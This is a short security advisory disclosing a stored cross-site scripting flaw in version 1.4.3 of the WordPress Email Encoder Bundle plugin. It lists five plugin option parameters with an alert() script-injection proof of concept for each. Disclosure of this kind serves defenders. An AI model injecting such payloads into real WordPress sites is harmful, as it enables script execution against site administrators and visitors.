WordPress Email Encoder Bundle 1.4.3 Cross Site Scripting

`================================================================================  
# WordPress Email Encoder Bundle 1.4.3 - Stored Cross Site Scripting  
================================================================================  
# Author: Ehsan Hosseini  
# Vendor Homepage: https://wordpress.org/plugins/email-encoder-bundle/  
# Software Link :  
https://downloads.wordpress.org/plugin/email-encoder-bundle.1.4.3.zip  
# Version : 1.4.3  
# Date: 12/03/2016  
# Contact: [email protected]  
# Source: http://ehsansec.ir/advisories/wpemailencoderbundle-xss.txt  
================================================================================  
# Vulnerability Details :  
Type : Stored XSS  
Minimum Level of Access Required : Change Plugin Values.  
  
# PoC :  
In the following fields put the payload as below  
http://localhost/wordpress/wp-admin/admin.php?page=wp_external_links  
Vulnerable Parameter :  
  
WP_Email_Encoder_Bundle_options[class_name] = "><script>alert('Ehsan  
Cod3r')</script>  
WP_Email_Encoder_Bundle_options[protection_text] =  
"><script>alert('Ehsan Cod3r')</script>  
WP_Email_Encoder_Bundle_options[protection_text_content] =  
"><script>alert('Ehsan Cod3r')</script>  
WP_Email_Encoder_Bundle_options[skip_posts] = "><script>alert('Ehsan  
Cod3r')</script>  
WP_Email_Encoder_Bundle_options[protection_text_rss] =  
"><script>alert('Ehsan Cod3r')</script>  
================================================================================  
# Discovered By : Ehsan Hosseini (EhsanSec.ir)  
================================================================================  
`